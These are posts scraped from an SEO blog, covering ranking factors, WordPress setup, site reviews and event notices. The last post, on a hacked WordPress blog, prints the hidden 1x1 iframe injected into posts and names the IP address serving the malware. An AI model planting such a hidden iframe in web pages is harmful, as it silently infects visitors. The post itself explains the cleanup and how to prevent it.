What follows here are 10 more search ranking factors for the intermediate level SEO, and should be easy to understand. However, please leave any questions or comments for clarification, or feel free to offer more input if you like…

11. Robots.txt -
The robots.txt file has become a standard way of giving instructions to the search engines concerning your website, and it’s also an effective way of telling them where your XML site map is. You can read a lot more about the robots file here but the most important thing to remember, is simply that you need to have one.

If you have a robots.txt file, then your site won’t be generating 404 errors every time the search engines look for the file, and fewer 404 errors are a good thing.

A typical robots.txt file will show the spiders the location for the XML site map, and then disallow any directories that the site owner doesn’t want crawled, by either all spiders, or just certain user agents. For example, the following three lines may constitute an entire robots file:

Sitemap: http://www.pdxtc.com/sitemap.xml
User-agent: *
Disallow: /cgi-bin

If you’re not comfortable with the syntax, here is a free tool for generating your own Robots file…

12. Use an XML Sitemap -
The XML site map has become the de facto standard for ensuring all that of your pages get crawled. There are multiple free utilities and websites available for creating your XML site map, like…
http://www.xml-sitemaps.com/
http://www.auditmypc.com/free-sitemap-generator.asp
http://www.sitemapdoc.com/
but you need to keep in mind that this is NOT the same thing as number 7 in my top 10 SEO factors; a static site map.

No human will likely ever look at this file, and instead, you will upload it to your website, and then “tell” the search engines that it exists via your robots.txt file, and by manually submitting it through Google’s Webmaster tools.

13. Permanent 301 Redirects -
The actual file names (pagename.html) should not be changed if it can be avoided, and pages & sections should NEVER be deleted entirely from your website without redirecting spiders and humans to another page on your site.

Missing pages create 404 (page not found) errors, so it’s important to do a permanent redirect (301) to a similar or corresponding area of your website.

For example if you sell widgets, and a particular model of blue widgets is no longer carried, don’t just delete the page, but instead created 301 redirect pointing back to your blue widget category. This retains the value of any inbound links you may have obtained for that product, and prevents pages from showing up in the searc hindex that no longer exist.

14. Avoid 404 errors -
This item is more theoretical than fact, but nowadays, (especially with Google), “trust and credibility” weigh heavily in your ranking factors. Therefore, it’s my belief that the search engines do not look favorably upon sites with continual 404 errors.

If you are constantly changing your website, and visitors or spiders are coming up with 404 errors on a regular basis, then it’s possible (and I believe, likely) that the search engines could see that as “somewhat flaky” and lower your ranking. Again I have no proof here, but to me it’s logical, and I’ve always insisted that 404 errors be taken care of when evaluating a website.

There are tools you can use to find broken links, which are the most common source of 404 errors, and my preferred tool of choice is called Xenu Link Sleuth. You can also look at your own internal stats program to see what 404 errors may be getting generated, and while Google analytics does NOT show you your 404 errors, (how stupid is that?) most likely, your own web hosting internal web statistics do.

It’s important to track down and eliminate your 404 errors by either fixing the broken link, replacing the missing file(s), or by adding a 301 redirect for the missing URL to another relevant area of your site.

15. DocType statement in .html code -
Some people may think this is silly, but I’ve seen it help before. At the very top of your code, I recommend placing a DOCTYPE statement in the HTML code. A DOCTYPE statement in an HTML document declares the document type and level of HTML syntax. While no human visitor will ever see this, the statement is read by Web browsers, software, and even search engine spiders.

Again, this may be more theory than fact, but I can tell you that in my experience, with all other things being equal, a webpage with this statement will outrank a page without it more often than not.

If you care to learn more about the technical aspects of this DOCTYPE statement, read this, but otherwise feel free to “view source” here on my site and see what one looks like.

16. Valid .html code -
Requiring valid HTML code in my opinion is way overrated as a search ranking factor, but it is still worth looking at to catch the biggest errors.

If you really want to drive yourself crazy, and ensure hours and hours of work for your Web developer, then you insist that all of your code is “valid” when run through a validator such as the W3C validator tool.

It has been my experience that minor errors showing up here will not affect your ranking, however, I do believe that it is still a good idea to run your site through this validator, so that you can pick up any glaring or dramatic errors.

Most web developers, when shown the list of errors that will undoubtedly appear, will be able to cherry pick their way through them and fix a large quantity. Sometimes these errors can be major, and fixing them can be done easily, and doing so can improve your search rankings.

Other times these errors can be minor, take hours and hours to track down, and in the end they’ll have no significant impact on your search rankings.

My recommendation is to verify that major errors get cleaned up, and simply ignore the rest, unless your goal is just to keep a web developer busy digging through the code.

17. Clean URL’s -
Try to stay away from using long URL strings that contain ugly characters, and make no sense to humans. While the search engines have gotten far better at spidering and indexing them, people are still wary of clicking on them.

Whenever possible, try to use relevant keywords in your page names and directory names, and separate them by dashes, rather than the underscore character.

There is some evidence that doing so can improve your ranking for individual phrases, but there’s even more evidence showing that you are far more likely to get a click through when someone can tell that the URL is relevant to their search. Furthermore, as people share URLs via emails and bookmarks, “people friendly” URL’s are again, far more likely to get the click.

To illustrate, let me ask you which you of the following two URLs are you more likely to click on, if someone sends you a link, or you see them in a search result?

http://www.domain.com/1743233_uld.asp/cid=7344/?item=4330
or
http://www.domain.com/perfect-shirt-red/

18. Avoid Session ID’s -
While this is related to the previous item, clean URLs, it’s worth mentioning on its own. If you have a website that sells something, it’s likely that your users may be assigned session IDs when they visit for tracking purposes.

A session ID is appended to the URL, and makes a new or temporary set of URLs for the users entire visit. This can be excellent for monitoring site visitor statistics and user behavior, but can be detrimental to your search rankings, if your system is assigning session IDs to the search engine crawlers as well.

You need to ensure that session ID’s are not being assigned to search engine robots that are visiting your website, and to stop it, have your developer read this

19. Site Structure -
Your site should have a logical structure, with individual sections or categories for specific types of information and products. Doing so will allow users to easily determine where they are at any given time, it allows the search engine spiders to see a well-organized site, and it also allows you to develop your site in a “theme based” manner when it comes to adding content and developing inbound links.

A quick example would be that if your website sells cars, you have your top-level pages, including home, about us, contact, new cars, and used cars.

Underneath your new cars and used cars categories, you can break it down into brands, years and models, and as you get to specific cars, you would have photos, spec sheets etc about each given car.

Different search marketers call this type of structure something different, but setting things up this way creates a nice “Pyramid” or “Theme” or “Silo” structure to your website that lends itself to excellent search rankings.

Using a graphic tool for charting your websites structure is an excellent way to visualize what your site structure looks like, and for that I use Mindomo

20. Page file size-
Just like your actual web visitors, the search engines like pages that load quickly, and don’t make them wait for files & graphics to download. Keep your entire page size as small as possible, and I prefer to see most be under 100k total. The faster they load, the better.

Web developers and graphic artists frequently want to impress visitors and clients with their graphics or their flash files, but great care should be taken to make sure that a balance is achieved between how a page looks, and how long it takes to load.

You have to remember that pages are over 150K are often not even fully cached by the search engines, and Google considers page loading time so important that it has now become a factor for Googles Ad Words quality score.

They know that user response to slow loading pages produces a negative experience, so they are actually making you pay more for the slow loading pages, so it’s logical that this would extent to organic serps, as they try to improve the user experience.

To be continued -
This certainly isn’t everything but it’s a good start, so this series will be continued.

Original content from: Search Commander Blog

Beyond the Top 10 SEO Factors

Whether you’re looking for best practices in search marketing or e-commerce, analytics and measurement, testing and behavior targeting, or even e-mail marketing, there’s bound to be sessions that will educate and enlighten key members of your staff.

If your company is a member of SEMpdx, you can get a discount on attendance too, by visiting the SE SEMpdx member discount page.

Take a look at the agenda, and I hope to see you there!

Original content from: Search Commander Blog

Portland Online Marketing Summit

This is a regional remodeling and construction firm located in Vancouver Washington. I covered most of the basics from my SEO101 area, and pointed out an error in the robots.txt file. I hope you find this helpful, and if you have any questions at all please be sure to leave them here, so that everyone may benefit.

Original content from: Search Commander Blog

SEO Review - PrecisionNorthwest.com

In many cases WordPress can be a good supplement to existing website, allowing users to easily add and manage search engine friendly content without the need of the Web designer.

In other cases, entire project developments can be done in WordPress, allowing the site to be managed well by non-technical users, with all of the “SEO” aspects happening in the background.

In addition to recommending WordPress for clients, we’ve built dozens of our own affiliate websites on the platform, and have even launched a separate business, matching WordPress themes to the look and feel of existing sites.

Regardless of what the purpose of the WordPress site is going to be, or what particular plug-ins may help the owner meet those needs, there are some fundamental steps that need to be taken regarding WordPress, and I’ve outlined them for you here.

1. Host on your own domain
The free version of Wordpress that’s hosted at Wordpress.com is fine for familiarizing yourself with the functionality of writing posts and trying it out, but I recommend never using it for anything permanent. Here are just a few of the reasons…

On Wordpress.com hosted sites, you cannot use any plugins, since you have no FTP access. That means that you can’t use any of the cool things that have been developed, or any of the things that will be developed next.

Even though you own the content, you can’t monetize the site with ads, since it’s against WordPress rules.

Most important of all, since you don’t own the domain, if you one day decide that you’d like to host on your own domain, you can’t 301 redirect all of your old URL’s to your new location.

After you install WordPress -

2. Change the Admin Password -
Change your administrator password immediately after installation. Sometimes things are just flaky, and the admin email doesn’t arrive for hours, and in some cases, it never arrives.

I’ve also seen servers where the “lost / change password” function doesn’t work either. There is no way you’re ever going to remember that autgenerated password, so as soon as you see the splash screen showing you a successful install and the password, log right in and change it to a familiar and
secure one that you can remember.

3. Change your permalink structure
Search engines have gotten much better about crawling dynamic URL’s but it’s my belief that it’s still slightly beneficial to have keywords in them.

Not to mention that search engines are far less important than actual humans, aren’t they? Let’s face it - People are more likely to share and click on links that have decent URL’s, where they can tell what the item is about. For example, which of these two URL’s would attract your interest?

http://www.domain.com/free-superbowl-tickets or
http://www.domain.com/?p=32 ?

There are many options for permalinks, but my choice is this…
%category%/title%

Change by going to options - permalinks - and paste that code into the bottom line. If you get a message telling you that you need to update your HT access, then you should either do that manually, or simply change the permissions (CHMOD) for your .htaccess file so it’s writable.

If for some reason your posts don’t work after that just returned to the options section and recheck the default box, putting it all back to normal while you troubleshoot.

4. Make your display decisions -
If you’re using WordPress as a static site, then you need to decide whether you want to display your most recent articles (posts) on the homepage, or you want to have a separate homepage, and display your blog posts elsewhere. These options are chosen in WordPress admin at the settings - reading menu.

By default the homepage will show your latest posts, but if you prefer, you can choose to select a static page as your homepage, and a different page to show your posts.

Of course if you choose this latter option then you’ll first need to go create a new page as “Home”, and probably create a “news and articles” page as well, for the blog posts. You can also use the existing About page that comes added by default, but if you do that, I recommend you change the permalink for it as well.

5. Edit your title tag preferences -
(THIS IS THEME SPECIFIC)
By default, the WordPress titles are sort of weird. To better optimize them, here’s my solution. Just replace the <title> calls in header.php of your theme with the following code…

<title>< ?php if ( is_single() ) { ?>< ?php } ?>< ?php wp_title(”); ?> < ?php if (is_home()) { ?>< ?php } else { ?> | < ?php } ?> < ?php bloginfo(’name’); ?> </title>

This does a couple of things -
a. It places the individual post title at the beginning of the tag

b. It adds a “pipe” character | , or you might prefer to use a dash instead, but either one will have the desired effect of separating the title of the post from the title of the blog.

c. It gets rid of the >>blog archive >> that ends up going into many of the Wordpress URLs

6. Change or delete “Hello World” post, permalink, and comment -
The first post that is installed by default for you is called “Hello World”. If you do a search on Google for “Hello World” or “Welcome to Wordpress, this is your first post” and you’ll see how many people don’t even do that first part.

I also recommend changing the permalink to that post, which otherwise, will forever read /hello-world no matter WHAT the actual post title gets changed to. This is easily done on the right of the edit post screen.

7. Change “Uncategorized” category & permalink
By default, the name AND permalink to the first category is “uncategorized”, so you want to change that, by going to Manage > Categories in the admin panel. Be sure to choose a good master category name that will cover your bases for the occasional post you accidentally leave uncategorized, since this will become the default.

You’ll also want to be certain to edit the permalink at the same time, since that category is going to become a part of the URL.

8. Change “About” page title & Permalink
Depending on how you use static pages in your blog, this may not be necessary, but for me, it can’t be overlooked. Since I frequently use Wordpress for static sites, the first thing I dio is go to the edit > pages - and change the title of “About” to Home, and make it the home page. Unless I forever want the permalink to be, /about I change that at the same time to home.

9. Update your ping list
Every time a new page or post is added, WordPress can notify multiple services that you have new content. Doing so will be spidered and visited more frequently improving your rankings. These options can be found in the Admin section, by going to settings > writing, and scrolling to the bottom.

Instead of using just the one service provided by default, (Pingomatic), I prefer to paste about 100 known and functional ping sites in the list, and I’ve made my entire WordPress big ping list available

10. Install your first plugin - BACKUP
This takes under 60 seconds, and can potentially save you a lot of misery. After the blog is going, I like to use the Wordpress automatic backup plug-in, that will email your entire database to you on a regular basis, and even keep a copy on the server too - Download it here

Some people may argue that blocking or nofollowing your monthly archives (or even your category archives) belongs on this list,  but I think those choices are to be made on an individual basis, and chose not to include them on this list. Personally, I have not blocked either one on my blog, and Google seems to be figuring it out just fine.

It’s only after all these steps above are done that I’s recommend beginning to make your plugin choices and installing them.  Since there are literally hundreds of plugins that are rock solid, and will make Wordpress do amazing things, I’m not going to get into them here.

I will say though, that If you want your site to be found, and you want it to perform well, then you need to do some reading. Talented developers all over the world are creating little miracle plug-ins every day, and you should make your choices wisely, and do lots of homework…

Original content from: Search Commander Blog

10 Commandments of WordPress

I had every intention of posting the wrapup here, but frankly, the SMX blog gets a lot more exposure in the Internet marketing community than I do, and I thought it was pretty good, so that’s where I’ve put it.

I’ve got four or five half finished posts that I would like to get up, along with nearly 20 barely begun ideas sitting in my Wordpress drafts, but I just don’t seem to have the time. Maybe someday I’ll have the luxury of writing all day long, but in the meantime, I’m doing my best…

Maybe I’ll get lucky, and Matt Cutts will answer these questions I posed in #9…

1. Does the age of the anchor text matter? - It’s long been established practice to review your own inbound link profile, and go back to some of your old partners, and try to get the anchor text changed, but might that be “resetting the clock” somehow? Bad idea?
2. Does changing the URL of an inbound link matter? - If you can somehow actually get a link partner to change the inbound link text, then it’s probably no more difficult to get them to change the target. Anyone that’s tried it has seen that help in the past. However, does changing the target URL to a deeper link but would that “reset the clock” somehow?
3. What about changing the domain entirely for that old link? Does that “reset the clock” too?

Please head over to the SEMpdx blog, and read my SMX Advanced Top 10 nuggets of knowledge, and if you like it, please be sure give it a Sphinn!

Original content from: Search Commander Blog

SMX Advanced 2008 - Was it Worth the Trip?

This is a website for authors, copywriters and editing help, that is missing a couple of the key fundamentals that I outline in my SEO101 section. The review is just 12 minutes long, but provides important information to the site owner.

No Video Responses have been posted yet.

Click here to post a video response.

Original content from: Search Commander Blog

Site Review - Potomac-Writing-Service.com

The owner of this site wants to be found for more “Second Life” related search terms, and In the 10 minute video I offer some intermediate level suggestions that may help with overall visibility.

Original content from: Search Commander Blog

Website Review - slmediasource.com

I’m going to go out on a limb and risk embarrassment by admitting that I did not recognize the name Matt McGee when Todd Mintz mentioned him about 18 months ago in a discussion about “people we’d like to get to Portland some day” while we were at an SEMpdx board meeting. (Sorry Matt

Even Todds s mention of Small Busines SEM didn’t directly ring a bell, although once I saw the graphics I recognized it as something I had indeed read before, and was looking forward to meeting him.

Since hearing his name for the first time, I’ve seen Matt speak twice, and hung out with him at SES San Jose, at Pubcon 2007 (was it twice?) at SMX Advanced in Seattle I think, and most recently here at Portlands’ SearchFest 2008.

Unfortunately for me, I did not get to hear his SearchFest presentation because I was presenting in the other room and I really wanted tobecause he had recently released something he called the SEO Success Pyramid.

On my long-time list of “things I should do” was to create something like that , which provided a fantastic graphical overview of things you must do, complete with visuals. You can download a full color copy here.

Next Tuesday is a rare opprtunity to meet Matt in person, and be treated to his knowledge and expertise in his presentation. Afterward, I’m honored to get to be on the panel with him, as we present another round of SEM Hot Seat.

Where? When? How Much?
Next Tuesday night 5/20/08 at the Hotel deLuxe from 6 to 8pm, with the after hours party at… ?

Find out more, and register here and if you’re going, please drop a comment here, or be sure to say hello.

Original content from: Search Commander Blog

SEMpdx Featuring Matt McGee Tuesday

Advertising Age magazine just published an article called, “A Web-Wide social network“, and it’s really worth a read for clients that don’t get it many people that are in “social denial” and still think the answer to everything is going to be found in higher search engine rankings. That’s very short sighted, in my opinion.

I think that if you really value your business over the years to come, and you have the foresight to look past next months SERPs and your sales figures, then it’s really helpful to understand how all this stuff is going to continue to morph your world as you know it.

At the Elite Retreat in San Francisco, Matt Mullenweg of Wordpress and Automattic talked about where he thought things were going to go in the future, and what he envisioned for his company and for the evolution of Wordpress.

He explained that in the same way most of us began with AOL, (or in my case, Prodigy), he thought that today’s communities that we’re all joining, like MySpace and Facebook, are all just temporary placeholders, until better options become available.

True sharing of information and data becoming available across common websites and platforms (like Wordpress for example) is going to change the way our kids look at things. Do you think they’re going to have the patience to sit down and fill out 35 profiles? Highly unlikely, wouldn’t you say?

In the lower right side of my blog you’ll see a social community called My Bloglog, where people that choose to share and show their information will appear on my site with photos, and I would appear on theirs, and it’s all pretty cool. If anyone wants to find out more about a particular visitor, they can go to his profile and find it.

Another example or this sort of “interconnected sociality” that I’m using on this blog would be the Gravatar plugin, which stands for Globally Recognized Avatars.

This means that anyone who’s Gravatar member that comments on this blog instantly has their picture up here by their comment, allowing for true sharing of information. Gravatar Accounts are free, and you can sign up for one here. There are no real profile pages there to speak of, but I would guess there’s something in the works.

The author of the Advertising Age story, Abbey Klassen, quotes another blogger talking about how “social networks will be like air, saying this…

“I thought about my grade-school kids, who in 10 years will be in the midst of social network engagement. I believe they (and we) will look back to 2008 and think it archaic and quaint that we had to go to a destination like Facebook or LinkedIn to ‘be social.’

Even if you don’t have time to read the whole article, then I recommend you at least scroll to the part where it says “Listen Up Marketers“, because this is affecting our future faster than we think.

Original content from: Search Commander Blog

Social Convergence is Coming FAST

Ultimately he ended up having a local computer repair person come out, who cleaned up his system and a couple of hours and the problem went away., but today,we talked by phone, and he told me he got the warning again when he viewed his own blog.

I took a look at his blog and here’s what I saw -

Interesting! I recognize the IP address from the file that I couldn’t seem to get rid of while I was visiting, so now we had our culprit. We knew where his virus came from… it came from his own WordPress blog!

At that point I did little bit of research, and found a post on the WordPress support forum talking about this very issue, where it seemed that someone had inserted this code into one of someone else’s old posts.

<!– Traffic Statistics –> <iframe height=”1″ width=”1″ frameBorder=”0″ src=”http://www.wp-stats-XXXphp.info/iframe/wp-stats.XXXphp”></iframe><!– End Traffic Statistics –>

At that point it was a matter of picking through all of his posts manually, and viewing the html code of each one, before finding and deleting it. Of course, in his case, it was found in 8 different posts! It was coming from http://61.155.8.157/iframe/wp-stats.php and was a VBS Malware-gen

Luckily he’s an infrequent poster, but can you imagine how difficult this may have been if there were multiple users posting everyday?

The moral of the story? Moderate your new users, use a secure password, keep your Wordpress current (his was not) and watch out for strange e-mail addresses signing up as new users!

Original content from: Search Commander Blog

Virus in a Wordpress Post